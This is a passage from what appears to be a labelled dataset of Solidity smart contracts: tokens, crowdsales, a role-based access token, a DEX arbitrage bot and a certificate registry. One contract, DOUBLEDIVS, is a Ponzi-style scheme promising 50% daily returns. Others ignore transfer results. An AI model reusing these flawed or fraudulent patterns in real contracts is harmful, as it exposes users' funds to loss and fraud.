bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "AdvancedHiveProtocal";
string public constant TOKEN_SYMBOL = "AHP";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x17B578b9315C377aCdA93317e3C380BB0C620E6c;
uint public constant START_TIME = 1560290400;
bool public constant CONTINUE_MINTING = false;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[3] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0)];
uint[3] memory weiRaisedEndsBounds = [uint(1200000000000000000000000),uint(1200000000000000000000000),uint(1200000000000000000000000)];
uint64[3] memory timeStartsBounds = [uint64(1560290400),uint64(1560466740),uint64(1561071540)];
uint64[3] memory timeEndsBounds = [uint64(1560466740),uint64(1561071540),uint64(1561935535)];
uint[3] memory weiRaisedAndTimeRates = [uint(1000),uint(500),uint(250)];
for (uint i = 0; i < 3; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(2500 * TOKEN_DECIMAL_MULTIPLIER, 0x17B578b9315C377aCdA93317e3C380BB0C620E6c, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1561935540)
CappedCrowdsale(1200000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0x17b578b9315c377acda93317e3c380bb0c620e6c)];
uint[1] memory amounts = [uint(7000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
} | 0 | 231 |
pragma solidity ^0.4.23;
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address addr) internal {
role.bearer[addr] = true;
}
function remove(Role storage role, address addr) internal {
role.bearer[addr] = false;
}
function check(Role storage role, address addr) view internal {
require(has(role, addr));
}
function has(Role storage role, address addr) view internal returns (bool) {
return role.bearer[addr];
}
}
contract RBAC {
address initialOwner;
using Roles for Roles.Role;
mapping(string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
modifier onlyOwner() {
require(msg.sender == initialOwner);
_;
}
function checkRole(address addr, string roleName) view public {
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName) view public returns (bool) {
return roles[roleName].has(addr);
}
function addRole(address addr, string roleName) public onlyOwner {
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName) public onlyOwner {
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName) {
checkRole(msg.sender, roleName);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a - b;
assert(b <= a);
assert(a == c + b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
assert(a == c - b);
return c;
}
}
contract PrimasToken is RBAC {
using SafeMath for uint256;
string public name;
uint256 public decimals;
string public symbol;
string public version;
uint256 public totalSupply;
uint256 initialAmount;
uint256 deployTime;
uint256 lastInflationDayStart;
uint256 incentivesPool;
mapping(address => uint256) private userLockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Lock(address userAddress, uint256 amount);
event Unlock(address userAddress,uint256 amount);
event Inflate (uint256 incentivesPoolValue);
constructor(uint256 _previouslyInflatedAmount) public {
name = "Primas Token";
decimals = 18;
symbol = "PST";
version = "V2.0";
initialAmount = 100000000 * 10 ** decimals;
initialOwner = msg.sender;
deployTime = block.timestamp;
lastInflationDayStart = 0;
incentivesPool = 0;
totalSupply = initialAmount.add(_previouslyInflatedAmount);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function inflate() public onlyRole("InflationOperator") returns (uint256) {
uint256 currentTime = block.timestamp;
uint256 currentDayStart = currentTime / 1 days;
uint256 inflationAmount;
require(lastInflationDayStart != currentDayStart);
lastInflationDayStart = currentDayStart;
uint256 createDurationYears = (currentTime - deployTime) / 1 years;
if (createDurationYears < 1) {
inflationAmount = initialAmount / 10 / 365;
} else if (createDurationYears >= 20) {
inflationAmount = 0;
} else {
inflationAmount = initialAmount * (100 - (5 * createDurationYears)) / 365 / 1000;
}
incentivesPool = incentivesPool.add(inflationAmount);
totalSupply = totalSupply.add(inflationAmount);
emit Inflate(incentivesPool);
return incentivesPool;
}
function getIncentivesPool() view public returns (uint256) {
return incentivesPool;
}
function incentivesIn(address[] _users, uint256[] _values) public onlyRole("IncentivesCollector") returns (bool success) {
require(_users.length == _values.length);
for (uint256 i = 0; i < _users.length; i++) {
userLockedTokens[_users[i]] = userLockedTokens[_users[i]].sub(_values[i]);
balances[_users[i]] = balances[_users[i]].sub(_values[i]);
incentivesPool = incentivesPool.add(_values[i]);
emit Transfer(_users[i], address(0), _values[i]);
}
return true;
}
function incentivesOut(address[] _users, uint256[] _values) public onlyRole("IncentivesDistributor") returns (bool success) {
require(_users.length == _values.length);
for (uint256 i = 0; i < _users.length; i++) {
incentivesPool = incentivesPool.sub(_values[i]);
balances[_users[i]] = balances[_users[i]].add(_values[i]);
emit Transfer(address(0), _users[i], _values[i]);
}
return true;
}
function tokenLock(address _userAddress, uint256 _amount) public onlyRole("Locker") {
require(balanceOf(_userAddress) >= _amount);
userLockedTokens[_userAddress] = userLockedTokens[_userAddress].add(_amount);
emit Lock(_userAddress, _amount);
}
function tokenUnlock(address _userAddress, uint256 _amount, address _to, uint256 _toAmount) public onlyRole("Unlocker") {
require(_amount >= _toAmount);
require(userLockedTokens[_userAddress] >= _amount);
userLockedTokens[_userAddress] = userLockedTokens[_userAddress].sub(_amount);
emit Unlock(_userAddress, _amount);
if (_to != address(0) && _toAmount != 0) {
balances[_userAddress] = balances[_userAddress].sub(_toAmount);
balances[_to] = balances[_to].add(_toAmount);
emit Transfer(_userAddress, _to, _toAmount);
}
}
function transferAndLock(address _userAddress, address _to, uint256 _amount) public onlyRole("Locker") {
require(balanceOf(_userAddress) >= _amount);
balances[_userAddress] = balances[_userAddress].sub(_amount);
balances[_to] = balances[_to].add(_amount);
userLockedTokens[_to] = userLockedTokens[_to].add(_amount);
emit Transfer(_userAddress, _to, _amount);
emit Lock(_to, _amount);
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner] - userLockedTokens[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balanceOf(_from) >= _value && allowed[_from][msg.sender] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 0 | 2,016 |
pragma solidity >=0.4.26;
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function setup(address token_addr) external;
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) public payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) public returns (uint);
}
interface OrFeedInterface {
function getExchangeRate ( string fromSymbol, string toSymbol, string venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string symbol ) external view returns ( address );
function getSynthBytes32 ( string symbol ) external view returns ( bytes32 );
function getForexAddress ( string symbol ) external view returns ( address );
}
contract Trader{
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
KyberNetworkProxyInterface public proxy = KyberNetworkProxyInterface(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
OrFeedInterface orfeed= OrFeedInterface(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336);
address saiAddress = 0x89d24a6b4ccb1b6faa2625fe562bdd9a23260359;
bytes PERM_HINT = "PERM";
address owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
constructor(){
owner = msg.sender;
}
function swapEtherToToken (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, address destAddress) internal{
uint minRate;
(, minRate) = _kyberNetworkProxy.getExpectedRate(ETH_TOKEN_ADDRESS, token, msg.value);
uint destAmount = _kyberNetworkProxy.swapEtherToToken.value(msg.value)(token, minRate);
require(token.transfer(destAddress, destAmount));
}
function swapTokenToEther1 (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress) internal returns (uint) {
uint minRate =1;
token.transferFrom(msg.sender, this, tokenQty);
token.approve(proxy, 0);
token.approve(address(proxy), tokenQty);
uint destAmount = proxy.tradeWithHint(ERC20(saiAddress), tokenQty, ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), this, 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, PERM_HINT);
return destAmount;
}
function swapTokenToEther2 (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress, address tokenAddress) internal returns (uint) {
uint minRate =1;
token.transferFrom(msg.sender, this, tokenQty);
token.approve(proxy, 0);
token.approve(address(proxy), tokenQty);
uint destAmount = proxy.tradeWithHint(ERC20(tokenAddress), tokenQty, ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), this, 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, PERM_HINT);
return destAmount;
}
function kyberToUniSwapArb(address fromAddress, address uniSwapContract, uint theAmount) public payable onlyOwner returns (bool){
address theAddress = uniSwapContract;
UniswapExchangeInterface usi = UniswapExchangeInterface(theAddress);
ERC20 address1 = ERC20(fromAddress);
uint ethBack = swapTokenToEther1(proxy, address1 , theAmount, msg.sender);
usi.ethToTokenSwapInput.value(ethBack)(1, block.timestamp);
return true;
}
function kyberToUniSwapArb2(address fromAddress, address uniSwapContract, uint theAmount, address tokenAddress) public payable onlyOwner returns (bool){
address theAddress = uniSwapContract;
UniswapExchangeInterface usi = UniswapExchangeInterface(theAddress);
ERC20 address1 = ERC20(fromAddress);
uint ethBack = swapTokenToEther2(proxy, address1 , theAmount, msg.sender, tokenAddress);
usi.ethToTokenSwapInput.value(ethBack)(1, block.timestamp);
return true;
}
function () external payable {
}
function withdrawETHAndTokens() onlyOwner{
msg.sender.send(address(this).balance);
ERC20 saiToken = ERC20(saiAddress);
uint256 currentTokenBalance = saiToken.balanceOf(this);
saiToken.transfer(msg.sender, currentTokenBalance);
}
function withdrawETHAndTokensParam(address tokenAddress) onlyOwner{
msg.sender.send(address(this).balance);
ERC20 token = ERC20(tokenAddress);
uint256 currentTokenBalance = token.balanceOf(this);
token.transfer(msg.sender, currentTokenBalance);
}
function getKyberSellPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "SELL-KYBER-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getUniswapBuyPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "BUY-UNISWAP-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getKyberBuyPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "BUY-KYBER-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getUniswapSellPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "SELL-UNISWAP-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getOrfeedExchangeRate( string fromSymbol, string toSymbol, string venue, uint amount ) constant returns ( uint256 ){
uint256 currentPrice = orfeed.getExchangeRate(fromSymbol, toSymbol, venue, amount);
return currentPrice;
}
} | 1 | 2,420 |
pragma solidity ^0.4.24;
contract DOUBLEDIVS{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 50;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,033 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TRYLToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "TRYL";
name = "LIRASIS TRY";
decimals = 2;
_totalSupply = 35426198000;
balances[0xe76E7B5E1b8510D5bFDA14D5988BfF82C6a1F16C] = _totalSupply;
emit Transfer(address(0), 0xe76E7B5E1b8510D5bFDA14D5988BfF82C6a1F16C, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,269 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TouristToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "TRT";
name = "Tourist Token";
decimals = 18;
_totalSupply = 9000000000000000000000000000000000000000000000000000000000000;
balances[0x18Ed8895bBfF7e17AB0353C0674FE704770A91bd] = _totalSupply;
emit Transfer(address(0), 0x18Ed8895bBfF7e17AB0353C0674FE704770A91bd, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,949 |
pragma solidity ^0.4.11;
contract CertiMe {
struct Certificate {
string certHash;
address issuer_addr;
address recepient_addr;
string version;
string content;
bool isRevoked;
uint256 issuance_time;
}
uint numCerts;
mapping (uint => Certificate) public certificates;
mapping (string => Certificate) certHashKey;
function newCertificate(address beneficiary, string certHash, string version, string content ) public returns (uint certID) {
certID = ++numCerts;
certificates[certID] = Certificate(certHash,msg.sender,beneficiary, version,content,false,block.timestamp);
